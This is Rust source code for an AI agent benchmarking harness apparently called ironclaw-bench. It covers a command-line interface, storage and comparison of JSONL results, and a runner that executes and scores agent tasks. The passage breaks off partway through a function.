use clap::{Parser, Subcommand};
use tracing_subscriber::{EnvFilter, layer::SubscriberExt, util::SubscriberInitExt};
use uuid::Uuid;
use crate::config::BenchConfig;
#[derive(Parser)]
#[command(name = "ironclaw-bench", about = "IronClaw benchmarking harness")]
struct Cli {
#[command(subcommand)]
command: Commands,
}
#[derive(Subcommand)]
enum Commands {
/// Run a benchmark suite.
Run {
/// Suite to run (custom, gaia, spot, tau_bench, swe_bench).
#[arg(long)]
suite: String,
/// Path to bench config TOML.
#[arg(long)]
config: Option<PathBuf>,
/// Override model for all matrix entries.
#[arg(long)]
model: Option<String>,
/// Max tasks to run in parallel.
#[arg(long)]
parallelism: Option<usize>,
/// Sample N tasks from the suite (for quick testing).
#[arg(long)]
sample: Option<usize>,
/// Only run these task IDs (comma-separated).
#[arg(long, value_delimiter = ',')]
task_ids: Option<Vec<String>>,
/// Only run tasks with these tags (comma-separated).
#[arg(long, value_delimiter = ',')]
tags: Option<Vec<String>>,
/// Per-task timeout in seconds.
#[arg(long)]
timeout_secs: Option<u64>,
/// Override results directory.
#[arg(long)]
results_dir: Option<PathBuf>,
/// Resume a previous run by ID.
#[arg(long)]
resume: Option<Uuid>,
},
/// Show results for a run.
Results {
/// Run ID or "latest".
#[arg(default_value = "latest")]
run_id: String,
/// Output format.
#[arg(long, default_value = "table")]
format: ResultsFormat,
/// Override results directory.
#[arg(long)]
results_dir: Option<PathBuf>,
},
/// Compare two runs.
Compare {
/// Baseline run ID.
baseline: Uuid,
/// Comparison run ID.
comparison: Uuid,
/// Override results directory.
#[arg(long)]
results_dir: Option<PathBuf>,
},
/// List available benchmark suites.
List,
}
#[derive(Clone, Debug, clap::ValueEnum)]
enum ResultsFormat {
Table,
Json,
Csv,
}
#[tokio::main]
async fn main() -> anyhow::Result<()> {
let cli = Cli::parse();
tracing_subscriber::registry()
.with(
EnvFilter::try_from_default_env()
.unwrap_or_else(|_| EnvFilter::new("ironclaw_bench=info,ironclaw=warn")),
)
.with(tracing_subscriber::fmt::layer().with_target(false))
.init();
match cli.command {
Commands::List => {
println!("Available benchmark suites:\n");
for (id, desc) in adapters::KNOWN_SUITES {
println!(" {:<15} {}", id, desc);
}
println!();
}
Commands::Run {
suite,
config: config_path,
model,
parallelism,
sample,
task_ids,
tags,
timeout_secs,
results_dir,
resume,
} => {
// Load or create config
let mut bench_config = if let Some(ref path) = config_path {
BenchConfig::from_file(path)?
} else {
BenchConfig::minimal(model.clone())
};
// Apply CLI overrides
if let Some(p) = parallelism {
bench_config.parallelism = p;
}
if let Some(t) = timeout_secs {
bench_config.task_timeout = std::time::Duration::from_secs(t);
}
if let Some(ref dir) = results_dir {
bench_config.results_dir = dir.clone();
}
// If model override specified and we have matrix entries, update them
if let Some(ref m) = model {
for entry in &mut bench_config.matrix {
entry.model = Some(m.clone());
}
}
// Create suite
let bench_suite = adapters::create_suite(&suite, &bench_config)?;
// Initialize ironclaw LLM provider
let ironclaw_config = ironclaw::Config::from_env().await.map_err(|e| {
anyhow::anyhow!(
"Failed to load ironclaw config: {}. Make sure .env is configured.",
e
)
})?;
let session = ironclaw::llm::create_session_manager(ironclaw::llm::SessionConfig {
auth_base_url: ironclaw_config.llm.nearai.auth_base_url.clone(),
session_path: ironclaw_config.llm.nearai.session_path.clone(),
})
.await;
session.ensure_authenticated().await?;
let llm = ironclaw::llm::create_llm_provider(&ironclaw_config.llm, session)?;
let safety = Arc::new(ironclaw::safety::SafetyLayer::new(&ironclaw_config.safety));
let runner = runner::BenchRunner::new(bench_suite, bench_config.clone(), llm, safety);
// Run for each matrix entry
for matrix_entry in &bench_config.matrix {
let run_id = runner
.run(
matrix_entry,
sample,
task_ids.as_deref(),
tags.as_deref(),
resume,
)
.await?;
println!("Run complete: {}", run_id);
}
}
Commands::Results {
run_id,
format,
results_dir,
} => {
let base = results_dir.unwrap_or_else(|| PathBuf::from("./bench-results"));
let uuid = if run_id == "latest" {
results::find_latest_run(&base)?
.ok_or_else(|| anyhow::anyhow!("No runs found in {}", base.display()))?
} else {
Uuid::parse_str(&run_id)?
};
let json_path = results::run_json_path(&base, uuid);
let jsonl_path = results::tasks_jsonl_path(&base, uuid);
let run = results::read_run_result(&json_path)?;
let tasks = results::read_task_results(&jsonl_path)?;
match format {
ResultsFormat::Table => {
results::print_results_table(&tasks, &run);
}
ResultsFormat::Json => {
let output = serde_json::json!({
"run": run,
"tasks": tasks,
});
println!("{}", serde_json::to_string_pretty(&output)?);
}
ResultsFormat::Csv => {
println!("task_id,score,label,tokens,cost,turns,time_s");
for task in &tasks {
println!(
"{},{:.3},{},{},{:.4},{},{:.1}",
task.task_id,
task.score.value,
task.score.label,
task.trace.input_tokens + task.trace.output_tokens,
task.trace.estimated_cost_usd,
task.trace.turns,
task.trace.wall_time_ms as f64 / 1000.0,
);
}
}
}
}
Commands::Compare {
baseline,
comparison,
results_dir,
} => {
let base = results_dir.unwrap_or_else(|| PathBuf::from("./bench-results"));
let baseline_run = results::read_run_result(&results::run_json_path(&base, baseline))?;
let comparison_run =
results::read_run_result(&results::run_json_path(&base, comparison))?;
println!("\nComparison: {} vs {}\n", baseline, comparison);
println!(
"{:<20} {:>12} {:>12} {:>10}",
"Metric", "Baseline", "Comparison", "Delta"
);
println!("{}", "-".repeat(58));
let pass_delta = comparison_run.pass_rate - baseline_run.pass_rate;
println!(
"{:<20} {:>11.1}% {:>11.1}% {:>+9.1}%",
"Pass rate",
baseline_run.pass_rate * 100.0,
comparison_run.pass_rate * 100.0,
pass_delta * 100.0,
);
let score_delta = comparison_run.avg_score - baseline_run.avg_score;
println!(
"{:<20} {:>12.3} {:>12.3} {:>+10.3}",
"Avg score", baseline_run.avg_score, comparison_run.avg_score, score_delta,
);
let cost_delta = comparison_run.total_cost_usd - baseline_run.total_cost_usd;
println!(
"{:<20} {:>11.4}$ {:>11.4}$ {:>+9.4}$",
"Total cost",
baseline_run.total_cost_usd,
comparison_run.total_cost_usd,
cost_delta,
);
let time_b = baseline_run.total_wall_time_ms as f64 / 1000.0;
let time_c = comparison_run.total_wall_time_ms as f64 / 1000.0;
println!(
"{:<20} {:>11.1}s {:>11.1}s {:>+9.1}s",
"Total time",
time_b,
time_c,
time_c - time_b,
);
println!(
"{:<20} {:>12} {:>12}",
"Model", baseline_run.model, comparison_run.model,
);
println!();
}
}
Ok(())
}
+473
View File
@@ -0,0 +1,473 @@
use std::collections::HashSet;
use std::io::{BufRead, Write};
use std::path::{Path, PathBuf};
use chrono::{DateTime, Utc};
use uuid::Uuid;
use crate::error::BenchError;
use crate::suite::BenchScore;
/// Metrics from a single task run: LLM usage, timing, tool calls.
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct Trace {
pub wall_time_ms: u64,
pub llm_calls: u32,
pub input_tokens: u32,
pub output_tokens: u32,
pub estimated_cost_usd: f64,
pub tool_calls: Vec<TraceToolCall>,
pub turns: u32,
pub hit_iteration_limit: bool,
pub hit_timeout: bool,
}
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct TraceToolCall {
pub name: String,
pub duration_ms: u64,
pub success: bool,
}
/// Result of running a single benchmark task.
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct TaskResult {
pub task_id: String,
pub suite_id: String,
pub score: BenchScore,
pub trace: Trace,
pub response: String,
pub started_at: DateTime<Utc>,
pub finished_at: DateTime<Utc>,
pub config_label: String,
#[serde(default)]
pub error: Option<String>,
}
/// Aggregate results for a full benchmark run.
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct RunResult {
pub run_id: Uuid,
pub suite_id: String,
pub config_label: String,
pub model: String,
/// Short git commit hash at the time of the run.
#[serde(default)]
pub commit_hash: String,
pub pass_rate: f64,
pub avg_score: f64,
pub total_tasks: usize,
pub completed_tasks: usize,
pub total_cost_usd: f64,
pub total_wall_time_ms: u64,
pub started_at: DateTime<Utc>,
pub finished_at: DateTime<Utc>,
}
impl RunResult {
/// Build aggregate from individual task results.
#[allow(clippy::too_many_arguments)]
pub fn from_tasks(
run_id: Uuid,
suite_id: &str,
config_label: &str,
model: &str,
commit_hash: &str,
total_tasks: usize,
tasks: &[TaskResult],
started_at: DateTime<Utc>,
) -> Self {
let pass_count = tasks.iter().filter(|t| t.score.value >= 1.0).count();
let pass_rate = if tasks.is_empty() {
0.0
} else {
pass_count as f64 / tasks.len() as f64
};
let avg_score = if tasks.is_empty() {
0.0
} else {
tasks.iter().map(|t| t.score.value).sum::<f64>() / tasks.len() as f64
};
let total_cost: f64 = tasks.iter().map(|t| t.trace.estimated_cost_usd).sum();
let total_wall: u64 = tasks.iter().map(|t| t.trace.wall_time_ms).sum();
Self {
run_id,
suite_id: suite_id.to_string(),
config_label: config_label.to_string(),
model: model.to_string(),
commit_hash: commit_hash.to_string(),
pass_rate,
avg_score,
total_tasks,
completed_tasks: tasks.len(),
total_cost_usd: total_cost,
total_wall_time_ms: total_wall,
started_at,
finished_at: Utc::now(),
}
}
}
/// Append a single task result as one JSON line to the JSONL file.
pub fn append_task_result(path: &Path, result: &TaskResult) -> Result<(), BenchError> {
let mut file = std::fs::OpenOptions::new()
.create(true)
.append(true)
.open(path)?;
let line = serde_json::to_string(result)?;
writeln!(file, "{line}")?;
Ok(())
}
/// Overwrite the JSONL file with the given results (used after scoring).
pub fn write_task_results(path: &Path, results: &[TaskResult]) -> Result<(), BenchError> {
let mut file = std::fs::File::create(path)?;
for result in results {
let line = serde_json::to_string(result)?;
writeln!(file, "{line}")?;
}
Ok(())
}
/// Read all task results from a JSONL file.
pub fn read_task_results(path: &Path) -> Result<Vec<TaskResult>, BenchError> {
if !path.exists() {
return Ok(Vec::new());
}
let file = std::fs::File::open(path)?;
let reader = std::io::BufReader::new(file);
let mut results = Vec::new();
for line in reader.lines() {
let line = line?;
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
let result: TaskResult = serde_json::from_str(trimmed)?;
results.push(result);
}
Ok(results)
}
/// Write the aggregate run result as JSON.
pub fn write_run_result(path: &Path, result: &RunResult) -> Result<(), BenchError> {
let json = serde_json::to_string_pretty(result)?;
std::fs::write(path, json)?;
Ok(())
}
/// Read the aggregate run result from JSON.
pub fn read_run_result(path: &Path) -> Result<RunResult, BenchError> {
let json = std::fs::read_to_string(path)?;
let result: RunResult = serde_json::from_str(&json)?;
Ok(result)
}
/// Get the set of already-completed task IDs from a JSONL file (for resume).
///
/// Only includes tasks that have been scored (label != "pending"). Tasks that
/// were written but not scored (e.g., from an interrupted run) will be re-executed.
pub fn completed_task_ids(path: &Path) -> Result<HashSet<String>, BenchError> {
let results = read_task_results(path)?;
Ok(results
.into_iter()
.filter(|r| r.score.label != "pending")
.map(|r| r.task_id)
.collect())
}
/// Get the results directory for a specific run.
pub fn run_dir(base: &Path, run_id: Uuid) -> PathBuf {
base.join(run_id.to_string())
}
/// Get the tasks JSONL path for a run.
pub fn tasks_jsonl_path(base: &Path, run_id: Uuid) -> PathBuf {
run_dir(base, run_id).join("tasks.jsonl")
}
/// Get the run JSON path for a run.
pub fn run_json_path(base: &Path, run_id: Uuid) -> PathBuf {
run_dir(base, run_id).join("run.json")
}
/// Find the latest run directory by the modification time of its `run.json`.
///
/// Falls back to `tasks.jsonl` mtime, then directory mtime. This avoids the
/// issue where modifying files inside a directory doesn't update the directory's
/// mtime on many filesystems.
pub fn find_latest_run(base: &Path) -> Result<Option<Uuid>, BenchError> {
if !base.exists() {
return Ok(None);
}
let mut entries: Vec<_> = std::fs::read_dir(base)?
.filter_map(|e| e.ok())
.filter(|e| e.file_type().map(|ft| ft.is_dir()).unwrap_or(false))
.filter_map(|e| {
let name = e.file_name().to_string_lossy().to_string();
let uuid = Uuid::parse_str(&name).ok()?;
let dir_path = e.path();
// Prefer run.json mtime, fall back to tasks.jsonl, then directory
let modified = std::fs::metadata(dir_path.join("run.json"))
.and_then(|m| m.modified())
.or_else(|_| {
std::fs::metadata(dir_path.join("tasks.jsonl")).and_then(|m| m.modified())
})
.or_else(|_| e.metadata().and_then(|m| m.modified()))
.ok()?;
Some((uuid, modified))
})
.collect();
entries.sort_by(|a, b| b.1.cmp(&a.1));
Ok(entries.first().map(|(uuid, _)| *uuid))
}
/// Print a summary table of task results.
pub fn print_results_table(tasks: &[TaskResult], run: &RunResult) {
println!();
let commit_suffix = if run.commit_hash.is_empty() {
String::new()
} else {
format!(" | Commit: {}", run.commit_hash)
};
println!(
"Run: {} | Suite: {} | Model: {}{}",
run.run_id, run.suite_id, run.model, commit_suffix
);
println!(
"Pass rate: {:.1}% | Avg score: {:.3} | Tasks: {}/{} | Cost: ${:.4} | Time: {:.1}s",
run.pass_rate * 100.0,
run.avg_score,
run.completed_tasks,
run.total_tasks,
run.total_cost_usd,
run.total_wall_time_ms as f64 / 1000.0,
);
println!();
// Header
println!(
"{:<30} {:>6} {:>7} {:>8} {:>10} {:>6} {:>8}",
"Task ID", "Score", "Label", "Tokens", "Cost", "Turns", "Time"
);
println!("{}", "-".repeat(80));
for task in tasks {
let total_tokens = task.trace.input_tokens + task.trace.output_tokens;
let task_id_display = if task.task_id.len() > 28 {
let truncated: String = task.task_id.chars().take(25).collect();
format!("{truncated}...")
} else {
task.task_id.clone()
};
println!(
"{:<30} {:>6.3} {:>7} {:>8} {:>10.4} {:>6} {:>7.1}s",
task_id_display,
task.score.value,
task.score.label,
total_tokens,
task.trace.estimated_cost_usd,
task.trace.turns,
task.trace.wall_time_ms as f64 / 1000.0,
);
}
println!();
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_run_result_from_tasks() {
let tasks = vec![
TaskResult {
task_id: "t1".to_string(),
suite_id: "custom".to_string(),
score: BenchScore {
value: 1.0,
label: "pass".to_string(),
details: None,
},
trace: Trace {
wall_time_ms: 1000,
llm_calls: 2,
input_tokens: 100,
output_tokens: 50,
estimated_cost_usd: 0.01,
tool_calls: vec![],
turns: 1,
hit_iteration_limit: false,
hit_timeout: false,
},
response: "answer".to_string(),
started_at: Utc::now(),
finished_at: Utc::now(),
config_label: "default".to_string(),
error: None,
},
TaskResult {
task_id: "t2".to_string(),
suite_id: "custom".to_string(),
score: BenchScore {
value: 0.0,
label: "fail".to_string(),
details: Some("wrong".to_string()),
},
trace: Trace {
wall_time_ms: 2000,
llm_calls: 3,
input_tokens: 200,
output_tokens: 100,
estimated_cost_usd: 0.02,
tool_calls: vec![],
turns: 2,
hit_iteration_limit: false,
hit_timeout: false,
},
response: "wrong answer".to_string(),
started_at: Utc::now(),
finished_at: Utc::now(),
config_label: "default".to_string(),
error: None,
},
];
let run = RunResult::from_tasks(
Uuid::new_v4(),
"custom",
"default",
"test-model",
"abc1234",
2,
&tasks,
Utc::now(),
);
assert_eq!(run.pass_rate, 0.5);
assert_eq!(run.avg_score, 0.5);
assert_eq!(run.total_tasks, 2);
assert_eq!(run.completed_tasks, 2);
assert!((run.total_cost_usd - 0.03).abs() < f64::EPSILON);
assert_eq!(run.total_wall_time_ms, 3000);
}
#[test]
fn test_jsonl_roundtrip() {
let dir = tempfile::tempdir().expect("temp dir");
let path = dir.path().join("tasks.jsonl");
let result = TaskResult {
task_id: "round-trip-test".to_string(),
suite_id: "custom".to_string(),
score: BenchScore::pass(),
trace: Trace {
wall_time_ms: 500,
llm_calls: 1,
input_tokens: 10,
output_tokens: 5,
estimated_cost_usd: 0.001,
tool_calls: vec![],
turns: 1,
hit_iteration_limit: false,
hit_timeout: false,
},
response: "hello".to_string(),
started_at: Utc::now(),
finished_at: Utc::now(),
config_label: "test".to_string(),
error: None,
};
append_task_result(&path, &result).expect("append");
append_task_result(&path, &result).expect("append");
let loaded = read_task_results(&path).expect("read");
assert_eq!(loaded.len(), 2);
assert_eq!(loaded[0].task_id, "round-trip-test");
}
#[test]
fn test_completed_task_ids() {
let dir = tempfile::tempdir().expect("temp dir");
let path = dir.path().join("tasks.jsonl");
let result = TaskResult {
task_id: "unique-id-1".to_string(),
suite_id: "custom".to_string(),
score: BenchScore::pass(),
trace: Trace {
wall_time_ms: 100,
llm_calls: 1,
input_tokens: 10,
output_tokens: 5,
estimated_cost_usd: 0.0,
tool_calls: vec![],
turns: 1,
hit_iteration_limit: false,
hit_timeout: false,
},
response: "x".to_string(),
started_at: Utc::now(),
finished_at: Utc::now(),
config_label: "test".to_string(),
error: None,
};
append_task_result(&path, &result).expect("append");
let ids = completed_task_ids(&path).expect("ids");
assert!(ids.contains("unique-id-1"));
assert!(!ids.contains("unique-id-2"));
}
#[test]
fn test_write_task_results_overwrites() {
let dir = tempfile::tempdir().expect("temp dir");
let path = dir.path().join("tasks.jsonl");
// Write initial "pending" result via append
let pending = TaskResult {
task_id: "t1".to_string(),
suite_id: "spot".to_string(),
score: BenchScore {
value: 0.0,
label: "pending".to_string(),
details: None,
},
trace: Trace {
wall_time_ms: 100,
llm_calls: 1,
input_tokens: 10,
output_tokens: 5,
estimated_cost_usd: 0.001,
tool_calls: vec![],
turns: 1,
hit_iteration_limit: false,
hit_timeout: false,
},
response: "42".to_string(),
started_at: Utc::now(),
finished_at: Utc::now(),
config_label: "default".to_string(),
error: None,
};
append_task_result(&path, &pending).expect("append");
// Verify pending score
let before = read_task_results(&path).expect("read");
assert_eq!(before.len(), 1);
assert_eq!(before[0].score.label, "pending");
// Overwrite with scored result
let mut scored = pending;
scored.score = BenchScore::pass();
write_task_results(&path, &[scored]).expect("write");
// Verify scored result replaced pending
let after = read_task_results(&path).expect("read");
assert_eq!(after.len(), 1);
assert_eq!(after[0].score.label, "pass");
assert_eq!(after[0].score.value, 1.0);
}
}
+550
View File
@@ -0,0 +1,550 @@
use std::collections::{HashMap, HashSet};
use std::sync::Arc;
use std::time::Instant;
use chrono::Utc;
use tokio::sync::Mutex;
use uuid::Uuid;
use ironclaw::agent::{Agent, AgentDeps};
use ironclaw::channels::{ChannelManager, IncomingMessage};
use ironclaw::config::AgentConfig;
use ironclaw::llm::LlmProvider;
use ironclaw::safety::SafetyLayer;
use ironclaw::tools::ToolRegistry;
use crate::channel::BenchChannel;
use crate::config::{BenchConfig, MatrixEntry};
use crate::error::BenchError;
use crate::instrumented_llm::InstrumentedLlm;
use crate::results::{
RunResult, TaskResult, Trace, append_task_result, completed_task_ids, run_dir, run_json_path,
tasks_jsonl_path, write_run_result, write_task_results,
};
use crate::suite::{BenchSuite, BenchTask, ConversationTurn, TaskSubmission, TurnRole};
/// Parameters for running a single task in isolation.
struct TaskRunParams<'a> {
task: &'a BenchTask,
suite_id: &'a str,
config_label: &'a str,
llm: Arc<dyn LlmProvider>,
safety: Arc<SafetyLayer>,
timeout: std::time::Duration,
additional_tools: &'a [Arc<dyn ironclaw::tools::Tool>],
}
/// Orchestrates benchmark execution: loads tasks, runs agent per task,
/// scores results, writes JSONL output.
pub struct BenchRunner {
suite: Arc<dyn BenchSuite>,
config: BenchConfig,
llm: Arc<dyn LlmProvider>,
safety: Arc<SafetyLayer>,
}
impl BenchRunner {
pub fn new(
suite: Box<dyn BenchSuite>,
config: BenchConfig,
llm: Arc<dyn LlmProvider>,
safety: Arc<SafetyLayer>,
) -> Self {
Self {
suite: Arc::from(suite),
config,
llm,
safety,
}
}
/// Run the benchmark for one matrix entry.
///
/// Returns the run_id for result retrieval.
pub async fn run(
&self,
matrix: &MatrixEntry,
sample: Option<usize>,
task_filter: Option<&[String]>,
tag_filter: Option<&[String]>,
resume_run_id: Option<Uuid>,
) -> Result<Uuid, BenchError> {
let run_id = resume_run_id.unwrap_or_else(Uuid::new_v4);
let results_base = &self.config.results_dir;
let dir = run_dir(results_base, run_id);
std::fs::create_dir_all(&dir)?;
let jsonl_path = tasks_jsonl_path(results_base, run_id);
let json_path = run_json_path(results_base, run_id);
// Load completed task IDs for resume support
let completed: HashSet<String> = if resume_run_id.is_some() {
completed_task_ids(&jsonl_path)?
} else {
HashSet::new()
};
if !completed.is_empty() {
tracing::info!(
"Resuming run {}: {} tasks already completed",
run_id,
completed.len()
);
}
// Load all tasks once (used for both execution and scoring)
let all_tasks = self.suite.load_tasks().await?;
let task_index: HashMap<String, BenchTask> = all_tasks
.iter()
.map(|t| (t.id.clone(), t.clone()))
.collect();
// Filter tasks for execution
let mut tasks = all_tasks;
if let Some(ids) = task_filter {
let id_set: HashSet<&str> = ids.iter().map(|s| s.as_str()).collect();
tasks.retain(|t| id_set.contains(t.id.as_str()));
}
if let Some(tags) = tag_filter {
let tag_set: HashSet<&str> = tags.iter().map(|s| s.as_str()).collect();
tasks.retain(|t| t.tags.iter().any(|tag| tag_set.contains(tag.as_str())));
}
// Filter out already-completed tasks
tasks.retain(|t| !completed.contains(&t.id));
// Sample if requested
if let Some(n) = sample {
tasks.truncate(n);
}
let total_tasks = tasks.len() + completed.len();
let model_label = matrix.model.as_deref().unwrap_or(self.llm.model_name());
let commit_hash = git_short_hash();
tracing::info!(
"[{} @ {}] Running {} tasks for suite '{}' (run: {})",
model_label,
commit_hash,
tasks.len(),
self.suite.id(),
run_id
);
let started_at = Utc::now();
let all_results: Arc<Mutex<Vec<TaskResult>>> =
Arc::new(Mutex::new(Vec::with_capacity(tasks.len())));
if self.config.parallelism <= 1 {
// Sequential execution
let additional_tools = self.suite.additional_tools();
for (i, task) in tasks.iter().enumerate() {
tracing::info!(
"[{}/{}] Running task: {}",
i + 1 + completed.len(),
total_tasks,
task.id
);
if let Err(e) = self.suite.setup_task(task).await {
tracing::warn!("setup_task failed for {}: {}", task.id, e);
let result = make_error_result(
task,
self.suite.id(),
&matrix.label,
Utc::now(),
&format!("setup_task failed: {e}"),
);
append_task_result(&jsonl_path, &result)?;
all_results.lock().await.push(result);
continue;
}
let params = TaskRunParams {
task,
suite_id: self.suite.id(),
config_label: &matrix.label,
llm: Arc::clone(&self.llm),
safety: Arc::clone(&self.safety),
timeout: task.timeout.unwrap_or(self.config.task_timeout),
additional_tools: &additional_tools,
};
let result = run_task_isolated(params).await;
if let Err(e) = self.suite.teardown_task(task).await {
tracing::warn!("teardown_task failed for {}: {}", task.id, e);
}
append_task_result(&jsonl_path, &result)?;
all_results.lock().await.push(result);
}
} else {
// Parallel execution with bounded concurrency
let semaphore = Arc::new(tokio::sync::Semaphore::new(self.config.parallelism));
let shared_tools: Arc<[Arc<dyn ironclaw::tools::Tool>]> =
Arc::from(self.suite.additional_tools());
let mut handles = Vec::new();
for (i, task) in tasks.into_iter().enumerate() {
let sem = Arc::clone(&semaphore);
let suite = Arc::clone(&self.suite);
let config_label = matrix.label.clone();
let llm = Arc::clone(&self.llm);
let safety = Arc::clone(&self.safety);
let timeout = task.timeout.unwrap_or(self.config.task_timeout);
let results_ref = Arc::clone(&all_results);
let completed_count = completed.len();
let total = total_tasks;
let additional_tools = Arc::clone(&shared_tools);
handles.push(tokio::spawn(async move {
let _permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => {
tracing::error!("Semaphore closed for task {}", task.id);
return;
}
};
tracing::info!(
"[{}/{}] Running task: {}",
i + 1 + completed_count,
total,
task.id
);
if let Err(e) = suite.setup_task(&task).await {
tracing::warn!("setup_task failed for {}: {}", task.id, e);
let result = make_error_result(
&task,
suite.id(),
&config_label,
Utc::now(),
&format!("setup_task failed: {e}"),
);
results_ref.lock().await.push(result);
return;
}
let suite_id = suite.id().to_string();
let params = TaskRunParams {
task: &task,
suite_id: &suite_id,
config_label: &config_label,
llm,
safety,
timeout,
additional_tools: &additional_tools,
};
let result = run_task_isolated(params).await;
if let Err(e) = suite.teardown_task(&task).await {
tracing::warn!("teardown_task failed for {}: {}", task.id, e);
}
results_ref.lock().await.push(result);
}));
}
for handle in handles {
if let Err(e) = handle.await {
tracing::error!("Task panicked: {}", e);
}
}
// Write all results to JSONL after parallel execution completes.
// This avoids the race condition of concurrent file appends.
let results = all_results.lock().await;
for result in results.iter() {
append_task_result(&jsonl_path, result)?;
}
}
// Score all results using the cached task index
let results = all_results.lock().await;
let mut scored: Vec<TaskResult> = Vec::with_capacity(results.len());
for result in results.iter() {
if let Some(task) = task_index.get(&result.task_id) {
let submission = TaskSubmission {
response: result.response.clone(),
conversation: vec![],
tool_calls: result
.trace
.tool_calls
.iter()
.map(|tc| tc.name.clone())
.collect(),
error: result.error.clone(),
};
match self.suite.score(task, &submission).await {
Ok(score) => {
let mut scored_result = result.clone();
scored_result.score = score;
scored.push(scored_result);
}
Err(e) => {
tracing::warn!("Scoring failed for {}: {}", result.task_id, e);
scored.push(result.clone());
}
}
} else {
scored.push(result.clone());
}
}
// Combine with any previously completed results for the aggregate
let mut all_for_aggregate = crate::results::read_task_results(&jsonl_path)?;
// De-duplicate (prefer the newer scored versions)
let scored_ids: HashSet<String> = scored.iter().map(|r| r.task_id.clone()).collect();
all_for_aggregate.retain(|r| !scored_ids.contains(&r.task_id));
all_for_aggregate.extend(scored);
// Rewrite JSONL with scored results so `results` command shows final scores
write_task_results(&jsonl_path, &all_for_aggregate)?;
let model_name = matrix.model.as_deref().unwrap_or(self.llm.model_name());
let run_result = RunResult::from_tasks(
run_id,
self.suite.id(),
&matrix.label,
model_name,
&commit_hash,
total_tasks,
&all_for_aggregate,
started_at,
);
write_run_result(&json_path, &run_result)?;
tracing::info!(
"[{} @ {}] Run {} complete: {:.1}% pass rate, {:.3} avg score, ${:.4} cost",
model_name,
commit_hash,
run_id,
run_result.pass_rate * 100.0,
run_result.avg_score,
run_result.total_cost_usd,
);
Ok(run_id)
}
}
/// Run a single benchmark task in complete isolation.
///
/// Creates a fresh Agent + BenchChannel + InstrumentedLlm for the task,
/// injects the prompt, waits for the response, and returns the result.
///
/// # Current limitations
///
/// - **Single-turn only**: After the first assistant response, `/quit` is sent.
/// Multi-turn suites (e.g., Tau-bench's `next_user_message()`) are not yet wired.
/// - **Resources not injected**: `BenchTask.resources` (e.g., GAIA file attachments)
/// are not included in the prompt or made available via the workspace.
/// - **Conversation not captured**: `TaskSubmission.conversation` is always empty,
/// which prevents multi-turn scoring hooks from working.
async fn run_task_isolated(params: TaskRunParams<'_>) -> TaskResult {
let TaskRunParams {
task,
suite_id,
config_label,
llm,
safety,
timeout,
additional_tools,
} = params;
let started_at = Utc::now();
let start = Instant::now();
// Wrap LLM with instrumentation
let instrumented = Arc::new(InstrumentedLlm::new(llm));
// Create bench channel
let (bench_channel, msg_tx) = BenchChannel::new();
let capture = bench_channel.capture();
// Build tool registry
let tools = Arc::new(ToolRegistry::new());
tools.register_builtin_tools();
// Register additional suite-specific tools
for tool in additional_tools {
tools.register(Arc::clone(tool)).await;
}
// Build agent config (minimal, headless)
let agent_config = AgentConfig {
name: format!("bench-{}", task.id),
max_parallel_jobs: 1,
job_timeout: timeout,
stuck_threshold: timeout,
repair_check_interval: timeout + std::time::Duration::from_secs(999),
max_repair_attempts: 0,
use_planning: false,
session_idle_timeout: timeout,
allow_local_tools: true,
max_cost_per_day_cents: None,
max_actions_per_hour: None,
};
let cost_guard = Arc::new(ironclaw::agent::cost_guard::CostGuard::new(
ironclaw::agent::cost_guard::CostGuardConfig::default(),
));
let deps = AgentDeps {
store: None,
llm: instrumented.clone() as Arc<dyn LlmProvider>,
cheap_llm: None,
safety,
tools,
workspace: None,
extension_manager: None,
skill_registry: None,
skills_config: ironclaw::config::SkillsConfig::default(),
hooks: Arc::new(ironclaw::hooks::HookRegistry::new()),
cost_guard,
};
let mut channels = ChannelManager::new();
channels.add(Box::new(bench_channel));
let agent = Agent::new(agent_config, deps, channels, None, None, None, None, None);
// Build the full prompt with context
let full_prompt = if let Some(ref ctx) = task.context {
format!("{}\n\nContext:\n{}", task.prompt, ctx)
} else {
task.prompt.clone()
};
// Inject the task prompt
let incoming = IncomingMessage::new("bench", "bench-user", &full_prompt);
if msg_tx.send(incoming).await.is_err() {
return make_error_result(
task,
suite_id,
config_label,
started_at,
"failed to send prompt",
);
}
// Record prompt in conversation
{
let mut cap = capture.lock().await;
cap.conversation.push(ConversationTurn {
role: TurnRole::User,
content: full_prompt,
});
}
// Run agent with timeout.
// After the first response, send /quit to end the session.
let quit_tx = msg_tx.clone();
let capture_for_quit = Arc::clone(&capture);
let quit_handle = tokio::spawn(async move {
// Poll for first response
loop {
tokio::time::sleep(std::time::Duration::from_millis(100)).await;
let cap = capture_for_quit.lock().await;
if !cap.responses.is_empty() {
break;
}
}
// Give a small grace period for any final status events
tokio::time::sleep(std::time::Duration::from_millis(200)).await;
let quit = IncomingMessage::new("bench", "bench-user", "/quit");
let _ = quit_tx.send(quit).await;
});
let agent_result = tokio::time::timeout(timeout, agent.run()).await;
quit_handle.abort();
let wall_time = start.elapsed();
let hit_timeout = agent_result.is_err();
if let Ok(Err(e)) = &agent_result {
tracing::warn!("Agent error for task {}: {}", task.id, e);
}
// Extract results from capture
let cap = capture.lock().await;
let response = cap.responses.last().cloned().unwrap_or_default();
let trace = Trace {
wall_time_ms: wall_time.as_millis() as u64,
llm_calls: instrumented.call_count(),
input_tokens: instrumented.total_input_tokens(),
output_tokens: instrumented.total_output_tokens(),
estimated_cost_usd: instrumented.estimated_cost(),
tool_calls: cap.tool_calls.clone(),
turns: cap.responses.len() as u32,
hit_iteration_limit: false,
hit_timeout,
};
let error = if hit_timeout {
Some(format!("timeout after {}s", timeout.as_secs()))
} else if let Ok(Err(e)) = &agent_result {
Some(e.to_string())
} else {
None
};
TaskResult {
task_id: task.id.clone(),
suite_id: suite_id.to_string(),
score: crate::suite::BenchScore {
value: 0.0,
label: "pending".to_string(),
details: None,
},
trace,
response,
started_at,
finished_at: Utc::now(),
config_label: config_label.to_string(),
error,
}
}
fn make_error_result(
task: &BenchTask,
suite_id: &str,
config_label: &str,
started_at: chrono::DateTime<Utc>,
reason: &str,
) -> TaskResult {
TaskResult {
task_id: task.id.clone(),
suite_id: suite_id.to_string(),
